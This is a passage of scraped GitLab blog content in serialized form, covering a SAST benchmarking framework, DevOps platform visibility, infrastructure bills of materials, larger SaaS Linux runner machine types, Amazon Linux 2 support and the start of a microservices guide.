schema](https://docs.gitlab.com/ee/user/application_security/sast/#reports-json-format)\n   so that we can compare the analyzer output against it. \n\nThe framework is designed in such a way that it can be easily integrated into\nthe CI configuration of existing GitLab projects by means of a [downstream pipeline](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html).\nThere are many possible ways in which a downstream pipeline can be triggered:\nsource code changes applied to an analyzer, configuration changes\napplied to an analyzer, or scheduled pipeline invocation. By using the pipeline,\nwe can run the benchmarking frameworks continuously and instantaneously on the GitLab\nprojects that host the source code of the integrated analyzers whenever code or\nconfiguration changes are applied. \n\n### Architecture \n\nThe figure below depicts the benchmarking framework when comparing an analyzer\nagainst a baseline.\n\nWe assume that we have a baseline configuration available; a baseline consists\nof an application that is an actual test application that includes\nvulnerabilities. These vulnerabilities are documented in an expectation file\nthat adheres to the [security report schema](https://docs.gitlab.com/ee/user/application_security/sast/#reports-json-format).\n\nNote that we use the terms baseline and expectation interchangeably. As\nmentioned earlier, the benchmarking framework is essentially a GitLab pipeline\nthat can be triggered downstream. The configured analyzer then takes the\nbaseline app as input and generates a `gl-sast-report.json` file. The heart of the\nbenchmarking framework is the `compare` step, which compares the baseline\nagainst the report generated by the analyzer, both of which adhere to the\n[security report schema](https://docs.gitlab.com/ee/user/application_security/sast/#reports-json-format).\n\nThe compare step also computes the _TP_, _FN_ and _FP_ that have been reported by the\nanalyzer and computes different metrics based on this information. The compare\nstep is implemented in the\n[evaluator tool](https://gitlab.com/gitlab-org/secure/gsoc-sast-benchmark/evaluator). \n\n``` mermaid\nflowchart LR;\nsbx[gl-sast-report.json];\nbreport[Report];\nconfig[Configuration];\n\nconfig --> bf;\n\nsubgraph Baseline\n  bcollection[app];\n  baseline[expectation];\nend\n\nsubgraph bf [ Benchmarking Framework ]\n   orig(Analyzer);\n   compare(Compare);\n   orig --> sbx;\n   sbx --> compare;\nend\n\nbaseline --> compare;\ncompare --> breport\nbcollection --> orig\n```\n\nUsing the security report format as a common standard makes the benchmarking\nframework very versatile: the baseline could be provided by an automated\nprocess, by another analyzer, or manually, which happened to be the case in this\nGSoC project.\n\n### Scoring\n\nThe main functionality of the [evaluator tool](https://gitlab.com/gitlab-org/secure/gsoc-sast-benchmark/evaluator)\nis to compute the overlap/intersection, and difference between a baseline and\ngenerated report in order to uncover true positives, false positives, and false\nnegatives. \n\nThe relationship between _TP_, _FP_, _FN_, _TN_, baseline, and generated report can be\nseen in the table below; it includes three columns `analyzer`, `baseline` and\n`classification`. The column `analyzer` represents the findings included in the\nreport generated by the analyzer; column `baseline` represents the findings\nincluded in the baseline; column `classification` denotes the\nverdict/classification that the [evaluator tool](https://gitlab.com/gitlab-org/secure/gsoc-sast-benchmark/evaluator)\nattaches to the analyzer finding when performing the comparison. The `X` and\n`-` denote reported and non-reported findings, respectively.\n\n| analyzer | baseline | classification |\n| -------- | -------  | -------------  |\n| -        | -        | _TN_           |\n| -        | X        | _FN_           |\n| X        | -        | _FP_           |\n| X        | X        | _TP_           |\n\nThe `classification` column in the table above shows that a _TP_ is a\nvulnerability existing in both baseline and generated report; similarly, an\n_FP_ is a vulnerability detected by an analyzer without a corresponding\nbaseline entry, while an _FN_ is a vulnerability present in the baseline but\nnot detected by an analyzer. Note, that _TN_ is practically not relevant for\nour use-case since the analyzers we are looking at only report unsafe,\nvulnerable cases instead of safe, non-vulnerable cases. \n\nAt the moment, the `evaluator` tool computes the metrics below:\n- Precision: _P_ = _TP_ /( _TP_ + _FP_ )\n- Recall: _R_ = _TP_ / ( _TP_ + _FN_ )\n- F-Score: _F_ = 2 * ( _P_ * _R_ ) / ( _P_ + _R_ ) \n- Jaccard-Index: _J_ = _TP_ / ( _TP_ + _FP_ + _FN_ )\n\nA higher precision indicates that an analyzer is less noisy due to the low(er)\nnumber of _FPs_. Hence, a high precision leads to a reduction of auditing effort\nof irrelevant findings. A high recall represents an analyzer's detection\ncapacity. F-Score is a combined measure so that precision and recall can be\ncondensed to a single number. The Jaccard-Index is a single value to capture\nthe similarity between analyzer and baseline.\n\nThe [evaluator tool](https://gitlab.com/gitlab-org/secure/gsoc-sast-benchmark/evaluator)\nsupports the addition of custom metrics via a simple call-back mechanism; this\nenables us to add support more metrics in the future that help us to gain\nadditional or new insights with regards to the efficacy of our analyzers.\n\n### Framework Properties\n\nIn principle, the implemented benchmarking framework is language-agnostic: new\nanalyzers and baselines can be plugged-in as long as they adhere to the\n[security report schema](https://docs.gitlab.com/ee/user/application_security/sast/#reports-json-format). \n\nEstablishing baselines is laborious since it requires (cross-)validation, \ntrying out attacks on the running baseline application and\ncode auditing.\n\nFor the GSoC project, we established baselines for the applications below\ncovering Java ([Spring](https://spring.io/)) and Python\n([Flask](https://flask.palletsprojects.com/)) as they are [ranking high in the most used languages and frameworks](https://survey.stackoverflow.co/2022/#technology-most-popular-technologies). \nFor a benchmark application to have practical utility, it is important that the\napplication itself is based on technology, including programming languages and\nframeworks, that are used in the industry.\n\nFor both of these applications, the baseline/expectations have been collected,\nverified and are publicly availabe: \n- [WebGoat](https://gitlab.com/gitlab-org/secure/gsoc-sast-benchmark/baselines/WebGoat/-/tree/baselines). \n  WebGoat is a deliberately insecure Web application used to teach security vulnerabilities.\n  We chose this as baseline application because it is often used as a benchmark\n  app in the Java world and it is based on [Spring](https://spring.io/) which is\n  one of the most popular frameworks in the Java world. \n- [vuln-flask-web-app](https://gitlab.com/gitlab-org/secure/gsoc-sast-benchmark/baselines/vuln-flask-web-app/-/tree/report) Like WebGoat, this application is deliberately insecure. `vuln-flask-web-app` covers both Python and [Flask](https://flask.palletsprojects.com/en/2.2.x/), one of the most popular web frameworks in the Python world.\n\n## Conclusion\n\nThis GSoC project was a first step towards building a FOSS benchmarking\nframework that helps the community to test their own tools and to build up a\nrelevant suite of baselines covering various languages and frameworks. With the\nhelp of the community, we will continue adding more baselines to the\nbenchmarking framework in the future to cover more languages and frameworks.\n\nIf you found the project interesting, you might want to check out the following repositories:\n\n- [evaluator](https://gitlab.com/gitlab-org/secure/gsoc-sast-benchmark/evaluator)\n- [WebGoat baseline](https://gitlab.com/gitlab-org/secure/gsoc-sast-benchmark/baselines/WebGoat/-/tree/baselines)\n- [Vulnerable Flask Web App baseline](https://gitlab.com/gitlab-org/secure/gsoc-sast-benchmark/baselines/vuln-flask-web-app/-/tree/report)\n- [Example of downstream pipeline triggering evaluator](https://gitlab.com/gitlab-org/secure/gsoc-sast-benchmark/evaluator-downstream)\n\nCover image by [Maxim Hopman](https://unsplash.com/@nampoh) on [Unsplash](https://unsplash.com/photos/fiXLQXAhCfk)\n{: .note}\n",[2368,923,815],{"slug":12445,"featured":6,"template":678},"a-benchmarking-framework-for-sast","content:en-us:blog:a-benchmarking-framework-for-sast.yml","A Benchmarking Framework For Sast","en-us/blog/a-benchmarking-framework-for-sast.yml","en-us/blog/a-benchmarking-framework-for-sast",{"_path":12451,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12452,"content":12458,"config":12463,"_id":12465,"_type":16,"title":12466,"_source":17,"_file":12467,"_stem":12468,"_extension":20},"/en-us/blog/less-headaches",{"title":12453,"description":12454,"ogTitle":12453,"ogDescription":12454,"noIndex":6,"ogImage":12455,"ogUrl":12456,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12456,"schema":12457},"Two DevOps platform superpowers: Visibility and actionability","Migrating to a DevOps platform helps organizations better understand and improve their development lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668622/Blog/Hero%20Images/group-rowing-collaboration.jpg","https://about.gitlab.com/blog/less-headaches","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Two DevOps platform superpowers: Visibility and actionability\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-09-26\",\n      }",{"title":12453,"description":12454,"authors":12459,"heroImage":12455,"date":12460,"body":12461,"category":962,"tags":12462},[3907],"2022-09-26","\nA [DevOps platform](/blog/the-journey-to-a-devops-platform/) deployed as a single application takes DevOps gains to the next level, enabling teams to deliver more value to their organization with fewer headaches. A platform, which includes the ability to plan, develop, test, secure, and operate software, empowers teams to deliver software faster, more efficiently, and more securely. And that [makes the business more competitive and more agile](/blog/the-devops-platform-series-building-a-business-case/).\n\n## DevOps visability and actionability\n\nA complete DevOps platform gives organizations everything they need to turn ideas into valuable and secure software without the time-consuming and costly headaches that multiple tools and multiple UXes bring. A single, end-to-end platform also gives teams one data store sitting underneath everything they do, and, regardless of the interface they are using, allows them to easily surface insights about developer productivity, workflow efficiency, and DevOps practice adoption.\n\nThere are many benefits to a DevOps platform, including visibility and actionability.\n\n### Gain visibility and context\n\nA DevOps platform enables DevOps teams to see and understand what’s happening in their organization, and provide context for those events. With insights that go much deeper than what a simple report or dashboard can offer, DevOps teams can better understand the status of projects, as well as their impact.\n\n### Take action more easily\n\nActionability means users can take that contextual information and efficiently and quickly do something with it at the point of understanding. Users can move a project ahead more quickly because they don’t have to wait to have a synchronous conversation or meeting to review the new information.\n\nHere are a few ways that an end-to-end platform provides visibility and actionability.\n\n### Track projects with epics and issues\n\nIn a DevOps platform, users are better able to communicate, plan work, and collaborate by using epics and issues. [Epics](https://docs.gitlab.com/ee/user/group/epics/) are an overview of a project, idea, or workflow. Issues are used to organize and list out what needs to be done to complete the larger goal, to track tasks and work status, or work on code implementations.\n\nFor instance, if managers want an overview of how multiple projects, programs, or products are progressing, they can get that kind of visibility by checking an epic, which will give them a high-level rollup view of what is being worked on, what has been completed, and what is on schedule or delayed. Users can call up an epic to quickly see what’s been accomplished and what is still under way, and then they can dig deeper into sub-epics and related issues for more information.\n\n[Issues](https://docs.gitlab.com/ee/user/project/issues/) offer details about implementation of specific goals, trace collaboration on that topic, and show which parts of the initiative team members are taking on. Users also can see whether due dates have been met or not. Issues can be used to reassign pieces of work, give updates, make comments or suggestions, and see how the nuts and bolts are being created and moved around.\n\n### Labels help track and search projects\n\nLabels are classification tags, which are often assigned colors and descriptive titles like \"bug\", \"feature request\", or \"docs\" to make them easy to understand. They are used in epics, issues, and merge requests to help users organize their work and ideas. They give users at-a-glance insight about what teams are working on a project, the focus of the work, and where it stands in the development lifecycle. Labels can be added and removed as work progresses to enable better tracking and searching.\n\n### Dashboards help track metrics\n\nDashboards are reporting tools that pull together metrics from multiple tools to create an at-a-glance view of projects, [security issues](/blog/secure-stage-for-appsec/), the health of different environments, or requests coming in for specific departments or teams, for instance. DevOps platform users can set up live dashboards to see trends in real time, map processes, and track response times, [errors](/blog/iteration-on-error-tracking/), and deployment speed. Dashboards also can be used to see alert statuses and the effect on specific applications and the business overall.\n\n### Value stream analytics\n\nFor visibility without any customization required, there are [value stream analytics](/blog/gitlab-value-stream-analytics/). This interface automatically pulls in data to show users how long it takes the team to complete each stage in their workflow – across planning, development, deployment, and monitoring. This gives developers or product owners – or anyone who wants information on workflow efficiency –  [a look at high-level metrics](/solutions/value-stream-management/), like deployment frequency. This is actionable information so it also shows what part of the project is taking the most time or what is holding up progress. Based on this information, the user can suggest changes, like moving milestones or assigning the work to someone new, and enact those changes with just one click.\n\nWith a DevOps platform, teams have end-to-end visibility that also is actionable. By enabling users to find the information they need with the context they need and giving them the ability to make immediate changes, data becomes actionable. Using a single platform, teams can move projects along more quickly, iterate faster, and create more value and company agility.\n\nCheck out our [Migrating to a DevOps platform eBook](https://page.gitlab.com/migrate-to-devops-guide.html?_gl=1*6p1rz*_ga*MTI3MzMwNjYwMi4xNjYyOTg0OTAw*_ga_ENFH3X7M5Y*MTY2Mzk0NDY1Mi4zOS4xLjE2NjM5NDQ2NjEuMC4wLjA.) for even more useful information about how to complete a successful DevOps platform migration\n\n",[4103,9297,1268],{"slug":12464,"featured":6,"template":678},"less-headaches","content:en-us:blog:less-headaches.yml","Less Headaches","en-us/blog/less-headaches.yml","en-us/blog/less-headaches",{"_path":12470,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12471,"content":12477,"config":12483,"_id":12485,"_type":16,"title":12486,"_source":17,"_file":12487,"_stem":12488,"_extension":20},"/en-us/blog/introducing-the-infrastructure-bill-of-materials",{"title":12472,"description":12473,"ogTitle":12472,"ogDescription":12473,"noIndex":6,"ogImage":12474,"ogUrl":12475,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12475,"schema":12476},"Introducing the infrastructure bill of materials","Pair IBoMs and SBOMs for a more secure software supply chain.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671160/Blog/Hero%20Images/ibom.jpg","https://about.gitlab.com/blog/introducing-the-infrastructure-bill-of-materials","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing the infrastructure bill of materials\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2022-09-22\",\n      }",{"title":12472,"description":12473,"authors":12478,"heroImage":12474,"date":12480,"body":12481,"category":674,"tags":12482},[12479],"Cindy Blake","2022-09-22","\nAll eyes are on software supply chain security and organizations are busily generating software bills of materials, or SBOMs. But many are leaving out an equally critical part of software supply chain security: their infrastructure. GitLab has partnered with Firefly to help DevOps teams create bills of materials across the entire cloud footprint. \n \nThe SBOM, which is an ingredient list that identifies third-party and open source code used within software (a.k.a. dependencies), came into the spotlight with the U.S. Executive Order on \"Improving the Nation's Cybersecurity\" and its resulting [NIST guidelines to secure the software supply chain](/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/).\n \nWhile SBOMs begin to peel back the layers on risky code using elements such as [composition analysis](/handbook/engineering/development/sec/secure/composition-analysis/) to scan for dependencies in containers, more attention must be paid to how cloud infrastructure, a critical part of the software development lifecycle, is managed and secured.\n \n## Assessing cloud infrastructure\n \nWhen people think about software integrity, they tend to think about applications. Yet with the rise of cloud computing, cloud native applications, and modern CI/CD pipelines, there is a considerable amount of code used to automate how infrastructure resources are provisioned, secured, and consumed. In fact, the cloud is defined using [infrastructure-as-code](/blog/fantastic-infrastructure-as-code-security-attacks-and-how-to-find-them/) (IaC), and most of the power attributed to applications relies on infrastructure capabilities, configurations, permissions, and relations. Understanding an application's relationship with the underlying infrastructure and how it is configured is just as important to supply chain security as understanding an application’s usage of third-party and open source code. \n \nThe challenge is that it’s not easy to do. This infrastructure software, often referred to as cloud assets, includes resources provided by cloud services, orchestrators like Kubernetes, and even policies. Google Cloud nicely [lists its assets](https://cloud.google.com/asset-inventory/docs/supported-asset-types) as an example. Increasingly, companies are [using more than one cloud service provider](https://www.cncf.io/wp-content/uploads/2022/02/CNCF-AR_FINAL-edits-15.2.21.pdf) for different workloads, and each service uses different constructs. Even with a single provider, many companies organize their applications into multiple AWS accounts or GCP projects. It can be difficult to see what assets an organization has across these silos.\n \n## Enter the IBoM\n \nDespite these challenges, just as an organization needs to list all the application code dependencies, it also needs to list all the infrastructure components across multiple clouds, multiple accounts, and Kubernetes. Together, they make up the infrastructure bill of materials, or IBoM. These assets must be tracked and managed closely as they can be changed and, if not properly governed, can wreak havoc on the stability and consistency of an application’s performance, creating troubleshooting problems.\n \nThe IBoM is the first key to understanding an organization’s complete cloud footprint and being able to better secure the software supply chain.\n \nThe second key, and equally important, is managing the integrity of that IBoM. The configuration of cloud assets such as S3 buckets, identity and access management roles, EC2, database instances, and Kubernetes clusters determines access to data and what resources are available to an application. The configuration also impacts the stability of the infrastructure upon which the applications depend.\n \nWith the surge of cloud native applications, the burden of managing this infrastructure has increased exponentially. To meet the challenge of governing this complex infrastructure, organizations have been codifying these cloud assets into IaC using tools like Terraform, Pulumi, and Helm. Once codified as IaC, they can utilize version control and be governed with the same rigor as application software – all within a DevOps platform like GitLab. This approach is typically called [GitOps](/topics/gitops/). It's important for the security of your supply chain because it provides visibility, traceability, and policy enforcement for your infrastructure software.\n \n## How Firefly and GitLab work together\n \n[Firefly’s Cloud Asset Management solution](https://www.gofirefly.io/) can help GitLab’s DevOps platform manage both application software and cloud infrastructure software - across an organization’s cloud footprint. Firefly essentially extends the GitLab [GitOps solution](/solutions/gitops/) to cover even more of your cloud and provides additional governance via drift detection and remediation.\n\nFirst, Firefly discovers all of an organization’s cloud infrastructure across AWS accounts, GCP projects, Kubernetes, and even SaaS application environments, providing an IBoM in one dashboard. Unmanaged and misconfigured environments are identified for DevOps. With a click, these unmanaged cloud assets are automatically coded into IaC such as Terraform or Helm, potentially saving engineering time and getting DevOps teams toward a more fully managed software supply chain.\n\nNow, as IaC, these cloud assets can be monitored for changes. Firefly continuously assesses drift between an organization’s desired IaC state and its actual cloud and Kubernetes configurations, helping ensure these configurations and policies remain enforced. When changes are made to either IaC or the underlying infrastructure, Firefly automatically creates a GitLab merge request to ensure changes to an organization’s infrastructure software are managed using DevOps automated CI/CD.\n \nFirefly and GitLab together enable DevOps teams to add to the security of their supply chains by generating IBoMs, applying version control, automation, and governance to the applications and infrastructure upon which they rely. Learn more about the [Firefly/GitLab integration](https://www.gofirefly.io/partners/gitlab) and give Firefly a try. \n\n\n_Blake is vice president of marketing at Firefly._\n\nCover image by [Edge2Edge Media](https://unsplash.com/photos/t1OalCBUYRc) on Unsplash\n{: .note}\n",[674,232,815],{"slug":12484,"featured":6,"template":678},"introducing-the-infrastructure-bill-of-materials","content:en-us:blog:introducing-the-infrastructure-bill-of-materials.yml","Introducing The Infrastructure Bill Of Materials","en-us/blog/introducing-the-infrastructure-bill-of-materials.yml","en-us/blog/introducing-the-infrastructure-bill-of-materials",{"_path":12490,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12491,"content":12497,"config":12501,"_id":12503,"_type":16,"title":12504,"_source":17,"_file":12505,"_stem":12506,"_extension":20},"/en-us/blog/new-machine-types-for-gitlab-saas-runners",{"title":12492,"description":12493,"ogTitle":12492,"ogDescription":12493,"noIndex":6,"ogImage":12494,"ogUrl":12495,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12495,"schema":12496},"GitLab introduces new machine types for GitLab SaaS Linux Runners","GitLab SaaS now offers larger machine types for running CI jobs on Linux.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672836/Blog/Hero%20Images/multiple-machine-types-cover.png","https://about.gitlab.com/blog/new-machine-types-for-gitlab-saas-runners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab introduces new machine types for GitLab SaaS Linux Runners\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Eastman\"}],\n        \"datePublished\": \"2022-09-22\",\n      }",{"title":12492,"description":12493,"authors":12498,"heroImage":12494,"date":12480,"body":12499,"category":695,"tags":12500},[5037],"\nOur GitLab SaaS vision is to provide a solution where you can easily choose and use the correct type of public cloud-hosted compute resources for your CI/CD jobs. In this first iteration towards achieving that vision, we are pleased to announce that two larger compute machines are generally available for GitLab SaaS Runners on Linux.\n\nWith these two machine types, you can now access more choices for your GitLab SaaS CI/CD jobs. And with 100% job isolation on an ephemeral virtual machine, and security and autoscaling fully managed by GitLab, you can confidently run your critical [CI/CD](/topics/ci-cd/) jobs on GitLab SaaS.\n\n## New machine type details\n\nThe new [SaaS Runners on Linux](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html) are a 2 vCPU, 8GB RAM (`saas-linux-medium-amd64`), and a 4 vCPU, 16GB RAM (`saas-linux-large-amd64`) machine type. These machine types, powered by the latest generation of Google Compute N2D virtual machines, deliver significant performance improvements for general-purpose CI workloads. The medium machine type, `saas-linux-medium-amd64`,  is available to all subscriptions (Free, Premium, Ultimate). The large machine type, `saas-linux-large-amd64` is only available to paid plans (Premium and Ultimate) and GitLab for Open Source program members.\n\nNote: If you are in a Free plan and tag a CI job with the large machine type, `saas-linux-large-amd64`, you will get an error at the job level and the job will not run.\n\n```\nThis job is stuck because of one of the following problems. There are no active runners online, no runners for the protected branch, or no runners that match all of the job's tags: saas-linux-large-amd64\n\n```\n\n## Are the new machine types right for my CI job?\n\nThe answer is that it depends. If the CI job is compute-intensive, you will likely see a performance improvement measured by reduced build times. We ran a series of  [Linux kernel](https://gitlab.com/gitlab-org/ci-cd/gitlab-runner-stress/linux-kernel) builds on the medium machine type to test the potential performance gains for compute-intensive CI jobs.\n\n![Linux kernel build CI job execution time benchmark](https://about.gitlab.com/images/blogimages/new-machine-types-gitlab-saas-linux/linux-kernel-build-runner-saas-benchmark_2022-09-22.png)\n\nOur testing found an average 41% reduction in CI job execution time for the medium machine types compared to the baseline small machine type. We recommend you experiment with the new machine types for your CI jobs to determine the right choice based on your build workflows.\n\n## Getting started\n\nTo get started with the new machine types, simply add a tag to your CI file. Without the tag, a job in your pipeline will automatically run on the small machine type.\n\n### Example pipeline configuration\n\nIn this example pipeline configuration, `job_001` will run on the default Linux SaaS Runner as no machine type tag is defined. The subsequent job, `job_002`, in the build stage will run on the medium machine type, and `job_003` will run on the large machine type. So you have flexibility within a GitLab CI/CD pipeline to choose the right machine type for each job.\n\n```\nstages:\n  - Prebuild\n  - Build\n  - Unit Test\n\njob_001:\n stage: Prebuild\n script:\n  - echo \"this job runs on the default (small) machine type\"\n\njob_002:\n tags: [ saas-linux-medium-amd64 ]\n stage: Build\n script:\n  - echo \"this job runs on the medium machine type\"\n\njob_003:\n tags: [ saas-linux-large-amd64 ]\n stage: Unit Test\n script:\n  - echo \"this job runs on the large machine type\"\n\n```\n\n## Understanding the new machine types and cost factors\n\nYou can start using the new machine types now with the CI minutes currently available in your plan. The new machine types will consume your CI minutes at a different rate than the default (small) machine type based on an applied cost factor. If you are a GitLab for Open Source program member, then refer to the [cost factor documentation page](https://docs.gitlab.com/ee/ci/pipelines/cicd_minutes.html#cost-factor) for details on how cost factors are applied to your CI/CD jobs.\n\n|  | saas-linux-small-amd64 |saas-linux-medium-amd64 |saas-linux-large-amd64 |\n| ------ | ------ |------ |------ |\n| CI minutes consumed per 1 minute of build time| 1 |2|3|\n\nToday your CI minutes usage report on GitLab SaaS will be an aggregate of all of the CI minutes consumed across all the machine types you select in your jobs. In this [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/356076), we are working towards adding visibility into usage by each Runner type. So you will soon have more granular reporting of use across the various Runner classes (Linux, Windows, macOS) and machine types we plan to offer.\n\n## Feedback\n\nAt GitLab, we value your input and use it as a critical sensing mechanism in planning roadmap investments. To provide feedback on the machine types you need on GitLab SaaS Runners on Linux, add a comment to the respective comment thread in this [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/373196)\n\nCover image by [Julian Hochgesang](https://unsplash.com/@julianhochgesang) on [Unsplash](https://unsplash.com)\n{: .note}\n",[1384,1385,1268,695],{"slug":12502,"featured":6,"template":678},"new-machine-types-for-gitlab-saas-runners","content:en-us:blog:new-machine-types-for-gitlab-saas-runners.yml","New Machine Types For Gitlab Saas Runners","en-us/blog/new-machine-types-for-gitlab-saas-runners.yml","en-us/blog/new-machine-types-for-gitlab-saas-runners",{"_path":12508,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12509,"content":12515,"config":12520,"_id":12522,"_type":16,"title":12523,"_source":17,"_file":12524,"_stem":12525,"_extension":20},"/en-us/blog/amazon-linux-2-service-ready-partner",{"title":12510,"description":12511,"ogTitle":12510,"ogDescription":12511,"noIndex":6,"ogImage":12512,"ogUrl":12513,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12513,"schema":12514},"GitLab is now an Amazon Linux 2 Service Ready Partner","Being an Amazon Linux 2 Service Ready partner shows GitLab's strong commitment to AWS linux distributions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682451/Blog/Hero%20Images/isis-franca-hsPFuudRg5I-unsplash.jpg","https://about.gitlab.com/blog/amazon-linux-2-service-ready-partner","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is now an Amazon Linux 2 Service Ready Partner\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2022-09-21\",\n      }",{"title":12510,"description":12511,"authors":12516,"heroImage":12512,"date":12517,"body":12518,"category":734,"tags":12519},[1244],"2022-09-21","\n\nSeveral months ago, we shared that GitLab started officially supporting Amazon Linux 2 as well as providing packages for GitLab and GitLab Runner for x86 and Graviton ARM architectures.\n\nGitLab’s hard working Enablement Engineering team has taken this commitment to the next level by acquiring Amazon’s Service Ready Partner designation for Amazon Linux 2.\n\nThe AWS Service Ready program requires that GitLab provide specific evidence in regard to support, compatibility testing and security testing in order to deploy GitLab on Amazon Linux 2 with confidence.\n\nHere is GitLab’s [Amazon Linux 2 Service Ready Partner listing](https://aws.amazon.com/amazon-linux-2/partners/?partner-solutions-cards.sort-by=item.additionalFields.partnerNameLower&partner-solutions-cards.sort-order=asc&awsf.partner-solutions-filter-partner-type=*all&partner-solutions-cards.q=GitLab&partner-solutions-cards.q_operator=AND).\n\n## Amazon Linux 2 support in GitLab 15.0\n\nAmazon Linux 2 is supported in GitLab 15.0 and later. An [earlier blog](/blog/amazon-linux-2-support-and-distro-specific-packages/) discusses a variety of important points and provides some code in order to plan a smooth transition.\n\nThe Service Ready Designation has been received for version 15.3, but there were no changes made to the process from 15.0 to support the designation.\n\nGitLab Runner has had ARM64 binaries since 12.6.0 and now has Amazon Linux 2 RPM packages for those wanting package-based installs.\n\n## Inside the distribution team process for distribution support\n\nIt would be easy to think that adding support for additional Linux distros is a simple and easy process - but there is actually a lot of effort that goes into it. GitLab’s Distribution Team uses GitLab itself to apply full DevOps disciplines to the continuous building, testing and distribution of packaging for Amazon Linux. Here are just some of the steps in preparing a GitLab release for packaging:\n\n- Create an elastic scaling distro-specific CI build environment.\n- Create a distro-specific CI test environment.\n- 2380 compatibility tests are performed on the GitLab code base.\n- SAST and dependency security scanning are completed and a specific escalation procedure is applied for any vulnerabilities that are found.\n- Primary distributions such as distro specific .deb and .rpm packages are prepared specifically for each distribution.\n- Secondary distributions are done as well - this is when the official GitLab AMI is created.\n- CI builds and testing generally happen multiple times a week for Amazon Linux.\n\n![Amazon Linux 2 Test Results](https://about.gitlab.com/images/blogimages/2022-09-amazonlinux/al2testsubgroups.png)\n\n![Amazon Linux 2 Test Results](https://about.gitlab.com/images/blogimages/2022-09-amazonlinux/al2tests.png)\n\n## Need-to-know takeaways\n\n- GitLab is now an official Amazon Linux 2 Service Ready Partner.\n- Amazon Linux 2 RPM packages are available for GitLab from version 15.0 and for GitLab Runner.\n\n> **Note**\n> This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog post and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc.\n\n![AWS Partner Logo](https://about.gitlab.com/images/blogimages/2022-09-amazonlinux/amazonlinuxandgravitonready.png){: .right}\n",[944,282,4103],{"slug":12521,"featured":6,"template":678},"amazon-linux-2-service-ready-partner","content:en-us:blog:amazon-linux-2-service-ready-partner.yml","Amazon Linux 2 Service Ready Partner","en-us/blog/amazon-linux-2-service-ready-partner.yml","en-us/blog/amazon-linux-2-service-ready-partner",{"_path":12527,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12528,"content":12534,"config":12539,"_id":12541,"_type":16,"title":12542,"_source":17,"_file":12543,"_stem":12544,"_extension":20},"/en-us/blog/get-started-with-microservices-architecture",{"title":12529,"description":12530,"ogTitle":12529,"ogDescription":12530,"noIndex":6,"ogImage":12531,"ogUrl":12532,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12532,"schema":12533},"Get started with microservices architecture","For DevOps teams ready to take the next step, adopting a microservices architecture is a smart choice. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667875/Blog/Hero%20Images/trends-in-version-control-land-microservices-cover.jpg","https://about.gitlab.com/blog/get-started-with-microservices-architecture","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get started with microservices architecture\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-09-20\",\n      }",{"title":12529,"description":12530,"authors":12535,"heroImage":12531,"date":12536,"body":12537,"category":962,"tags":12538},[711],"2022-09-20","A great way to jumpstart a DevOps practice is by adopting a microservices architecture. The [benefits of a microservices architecture](/blog/what-are-the-benefits-of-a-microservices-architecture/) are numerous and include improved scalability, enhanced fault isolation, and the ability to bring new features to market faster.\n\n## How to start building with microservices architecture\n\n### Identify decomposable aspects of the application\n\nOne of the main properties of a microservice is its independence, so identifying the decomposable parts of the application — those parts that can work autonomously — is essential. Getting the service boundaries wrong could result in unwanted changes to other services, so you need to understand the system’s domain.\n\nIn many cases, such breakdown aligns with the business domains and is reflected in development teams.\n\n### Determine the metrics to monitor\n\nWith a microservices application, it’s crucial to monitor the status of each service so it’s possible to react to changing demands in the production environment. Some common metrics to monitor include the CPU and memory usage of each host, the API response time, and the error rate.\n\nWithout monitoring, teams may not catch problems when they arise. For example, if a server is overwhelmed by traffic, other services may not respond because they’re trying to communicate with an over-burdened service. \n\nBeing able to visualize these potential issues helps prevent downtime. Therefore, establish metrics early so necessary adjustments can be made as soon as possible.\n\n## Best practices for deploying and managing microservices\n\n### Infrastructure automation\n\nWhen the number of microservices grows, an application can become difficult to manage. Each microservice has its own deployment schedule. \n\nSome features are hidden behind feature flags, some are collecting usage data through A/B testing, and some services might be using Canary deployments as part of a progressive deployment. \n\nAutomated testing is key so teams will have the ability to stop or roll back deployment when necessary.\n\n### Consumer-driven contract tests\n\nWhen other consumers depend on API endpoints in one microservice, it’s good practice to implement consumer-driven contract testing to ensure version compatibility. \n\nTraditionally, developers first create the APIs on the server side and have clients determine which endpoints to call. That means when the signature of an API changes, it can bring down the consumer.\n\nThis can’t happen with consumer-driven contract 